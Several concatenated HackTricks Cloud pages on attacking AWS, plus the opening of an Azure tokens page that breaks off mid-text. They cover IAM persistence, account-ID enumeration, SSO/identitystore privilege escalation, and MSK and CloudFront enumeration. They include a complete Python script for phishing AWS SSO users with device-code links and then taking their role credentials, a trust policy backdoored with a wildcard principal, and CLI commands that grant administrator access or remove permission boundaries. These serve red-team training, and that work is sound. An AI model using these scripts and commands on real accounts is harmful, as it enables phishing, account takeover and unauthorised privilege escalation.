[![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information access: [AWS - IAM, Identity Center & SSO Enum](../aws-services/aws-iam-enum.html) * Create a user * Add a controlled user to a privileged group * Create access keys (of the new user or of all users) * Grant extra permissions to controlled users/groups (attached policies or inline policies) * Disable MFA / Add you own MFA device * Create a Role Chain Juggling situation (more on this below in STS persistence) You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone): json { "Version": "2012-10-17", "Statement": [\ {\ "Effect": "Allow",\ "Principal": {\ "AWS": ["*", "arn:aws:iam::123213123123:root"]\ },\ "Action": "sts:AssumeRole"\ }\ ] } Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group. If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Accounts Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. If you have a target there are ways to try to identify account IDs of accounts related to the target. You create a list of potential account IDs and aliases and check them bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com ## If response is 404 it doesn't, if 200, it exists ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py) . Look for urls that contains `.signin.aws.amazon.com` with an **alias related to the organization**. If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used. * Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) * RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) * Public AMIs (EC2 -> AMIs -> Public images) Many AWS error messages (even access denied) will give that information. * [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Identity Center & SSO Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 5 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) , it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. In order to perform this attack the requisites are: * The victim needs to use **Identity Center** * The attacker must know the **subdomain** used by the victim `.awsapps.com/start` Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. 1. **Finding the subdomain** The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. With this info, it's possible to get the region where the Indentity Center was configured with: bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 2. **Generate the link for the victim & Send it** Run the following code to generate an AWS SSO login link so the victim can authenticate. For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: python import boto3 REGION = 'us-east-1' # CHANGE THIS AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS sso_oidc = boto3.client('sso-oidc', region_name=REGION) client = sso_oidc.register_client( clientName = 'attacker', clientType = 'public' ) client_id = client.get('clientId') client_secret = client.get('clientSecret') authz = sso_oidc.start_device_authorization( clientId=client_id, clientSecret=client_secret, startUrl=AWS_SSO_START_URL ) url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) Send the generated link to the victim using you awesome social engineering skills! 3. **Wait until the victim accepts it** If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**. This is how the promp looks nowadays: ![](../../../images/image (343).png) 4. **Get SSO access token** If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**: python token_response = sso_oidc.create_token( clientId=client_id, clientSecret=client_secret, grantType="urn:ietf:params:oauth:grant-type:device_code", deviceCode=deviceCode ) sso_token = token_response.get('accessToken') The SSO access token is **valid for 8h**. 5. **Impersonate the user** python sso_client = boto3.client('sso', region_name=REGION) # List accounts where the user has access aws_accounts_response = sso_client.list_accounts( accessToken=sso_token, maxResults=100 ) aws_accounts_response.get('accountList', []) # Get roles inside an account roles_response = sso_client.list_account_roles( accessToken=sso_token, accountId= ) roles_response.get('roleList', []) # Get credentials over a role sts_creds = sso_client.get_role_credentials( accessToken=sso_token, roleName=, accountId= ) sts_creds.get('roleCredentials') It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html) . * [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) * [https://github.com/sebastian-mora/awsssome\_phish](https://github.com/sebastian-mora/awsssome_phish) * [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) * [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) * [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) * [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - SSO & identitystore Privesc - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 6 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about AWS Identity Center / AWS SSO check: [AWS - IAM, Identity Center & SSO Enum](../aws-services/aws-iam-enum.html) warning Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**. Users from other accounts can only allow it if the account is a **Delegated Adminstrator.** [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an email to the user to reset his password, so you would need access to the users email. With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has. bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml # Content of /tmp/policy.yaml { "Version": "2012-10-17", "Statement": [\ {\ "Sid": "Statement1",\ "Effect": "Allow",\ "Action": ["*"],\ "Resource": ["*"]\ }\ ] } # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control. warning To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected. bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS An attacker with this permission could give a Permission Set to a user under his control to an account. bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id Returns the STS short-term credentials for a given role name that is assigned to the user. aws sso get-role-credentials --role-name --account-id --access-token However, you need an access token that I'm not sure how to get (TODO). An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**. bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary. bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Cloudfront Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. https://{random_id}.cloudfront.net tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Persistence - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 0 minutes --- # AWS - MSK Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 5 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code. In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka. There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless. From the point of view of an attacker you need to know that: * **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports. * **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access. * Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled bash #Get clusters aws kafka list-clusters aws kafka list-clusters-v2 # Check the supported authentication aws kafka list-clusters | jq -r ".ClusterInfoList[].ClientAuthentication" # Get Zookeeper endpoints aws kafka list-clusters | jq -r ".ClusterInfoList[].ZookeeperConnectString, .ClusterInfoList[].ZookeeperConnectStringTls" # Get nodes and node enspoints aws kafka kafka list-nodes --cluster-arn aws kafka kafka list-nodes --cluster-arn | jq -r ".NodeInfoList[].BrokerNodeInfo.Endpoints" # Get endpoints # Get used kafka configs aws kafka list-configurations #Get Kafka config file aws kafka describe-configuration --arn # Get version of config aws kafka describe-configuration-revision --arn --revision # Get content of config version # If using SCRAN authentication, get used AWS secret name (not secret value) aws kafka list-scram-secrets --cluster-arn bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka wget https://archive.apache.org/dist/kafka/2.8.1/kafka_2.12-2.8.1.tgz tar -xzf kafka_2.12-2.8.1.tgz # In kafka_2.12-2.8.1/libs download the MSK IAM JAR file. cd kafka_2.12-2.8.1/libs wget https://github.com/aws/aws-msk-iam-auth/releases/download/v1.1.1/aws-msk-iam-auth-1.1.1-all.jar # Create file client.properties in kafka_2.12-2.8.1/bin security.protocol=SASL_SSL sasl.mechanism=AWS_MSK_IAM sasl.jaas.config=software.amazon.msk.auth.iam.IAMLoginModule required; sasl.client.callback.handler.class=software.amazon.msk.auth.iam.IAMClientCallbackHandler # Export endpoints address export BS=boot-ok2ngypz.c2.kafka-serverless.us-east-1.amazonaws.com:9098 ## Make sure you will be able to access the port 9098 from the EC2 instance (check VPS, subnets and SG) # Create a topic called msk-serverless-tutorial kafka_2.12-2.8.1/bin/kafka-topics.sh --bootstrap-server $BS --command-config client.properties --create --topic msk-serverless-tutorial --partitions 6 # Send message of every new line kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.config client.properties --topic msk-serverless-tutorial # Read messages kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning [AWS - MSK Privesc](../aws-privilege-escalation/aws-msk-privesc.html) [AWS - MSK Unauthenticated Enum](../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.html) If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**. * [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Tokens & Public Applications - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 9 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources. **Key Participants in OAuth 2.0:** 1. **Resource Server (RS):** Protects resources owned by the resource owner. 2. **Resource Owner (RO):** Typically an end-user who owns the protected resources. 3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner. 4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them. **Scopes and Consent:** * **Scopes:** Granular permissions defined on the resource server that specify access levels. * **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes. **Microsoft 365 Integration:** * Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications. * These applications are deeply integrated and often have interdependent service relationships. * To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications. * **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l. * These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces. **Client Application Types:** 1. **Confidential Clients:** * Possess their own credentials (e.g., passwords or certificates). * Can **securely authenticate themselves** to the authorization server. 2. **Public Clients:** * Do not have unique credentials. * Cannot securely authenticate to the authorization server. * **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application. There are **three types of tokens** used in OIDC: * [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens) **:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default. * **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**. * **Refresh Tokens**: Provided to the client with access token. 